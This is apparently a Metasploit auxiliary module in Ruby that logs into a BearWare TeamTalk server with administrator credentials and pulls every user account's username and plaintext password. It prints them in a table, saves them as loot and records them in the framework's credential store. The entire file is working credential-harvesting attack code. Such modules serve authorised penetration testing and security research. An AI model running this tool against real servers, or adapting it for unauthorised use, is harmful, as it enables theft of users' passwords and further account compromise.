##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TeamTalk Gather Credentials',
        'Description' => %q{
          This module retrieves user credentials from BearWare TeamTalk.

          Valid administrator credentials are required.

          This module has been tested successfully on TeamTalk versions
          5.2.2.4885 and 5.2.3.4893.
        },
        'Author' => 'bcoles',
        'References' => [
          # Protocol documentation
          ['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options [
      Opt::RPORT(10333),
      OptString.new('USERNAME', [true, 'The username for TeamTalk', 'admin']),
      OptString.new('PASSWORD', [true, 'The password for the specified username', 'admin'])
    ]
  end

  def run
    vprint_status 'Connecting...'

    connect
    banner = sock.get_once

    unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
      fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
    end

    print_status "Found TeamTalk (protocol version #{$1})"

    report_service :host => rhost,
                   :port => rport,
                   :proto => 'tcp',
                   :name => 'teamtalk'

    vprint_status "Authenticating as '#{username}'"

    req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
    res = send_command req

    unless res.to_s.starts_with? 'accepted'
      fail_with Failure::NoAccess, 'Authentication failed'
    end

    print_good 'Authenticated successfully'

    if res =~ /usertype=2/
      print_good 'User is an administrator'
    else
      print_warning 'User is not an administrator'
    end

    vprint_status "Retrieving users..."

    res = send_command 'listaccounts'

    if res =~ /^error/ && res =~ /message="Command not authorized"/
      print_error 'Insufficient privileges'
      return
    end

    unless res =~ /^ok\r?\n?\z/
      print_error 'Unexpected reply'
      return
    end

    cred_table = Rex::Text::Table.new 'Header' => 'TeamTalk User Credentials',
                                      'Indent' => 1,
                                      'Columns' => ['Username', 'Password', 'Type']

    res.each_line do |line|
      line.chomp!
      next unless line =~ /^useraccount/

      user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')
      pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')
      type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first

      cred_table << [ user, pass, type ]
      report_cred user: user,
                  password: pass,
                  type: type,
                  proof: line
    end

    if cred_table.rows.empty?
      print_error 'Did not find any users'
      return
    end

    print_status "Found #{cred_table.rows.size} users"
    print_line
    print_line cred_table.to_s

    p = store_loot 'teamtalk.user.creds',
                   'text/csv',
                   rhost,
                   cred_table.to_csv,
                   'TeamTalk User Credentials'

    print_good "Credentials saved in: #{p}"
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
    print_error e.message
  ensure
    disconnect
  end

  private

  def username
    datastore['USERNAME'] || ''
  end

  def password
    datastore['PASSWORD'] || ''
  end

  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'teamtalk',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge service_data

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      access_level: opts[:type],
      proof: opts[:proof]
    }.merge service_data

    create_credential_login login_data
  end

  def send_command(cmd = '')
    cmd_id = rand(1000)
    sock.put "#{cmd} id=#{cmd_id}\n"

    res = ''
    timeout = 15
    Timeout.timeout(timeout) do
      res << sock.get_once until res =~ /^end id=#{cmd_id}/
    end

    res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
  rescue Timeout::Error
    print_error "Timeout (#{timeout} seconds)"
  rescue => e
    print_error e.message
  end
end
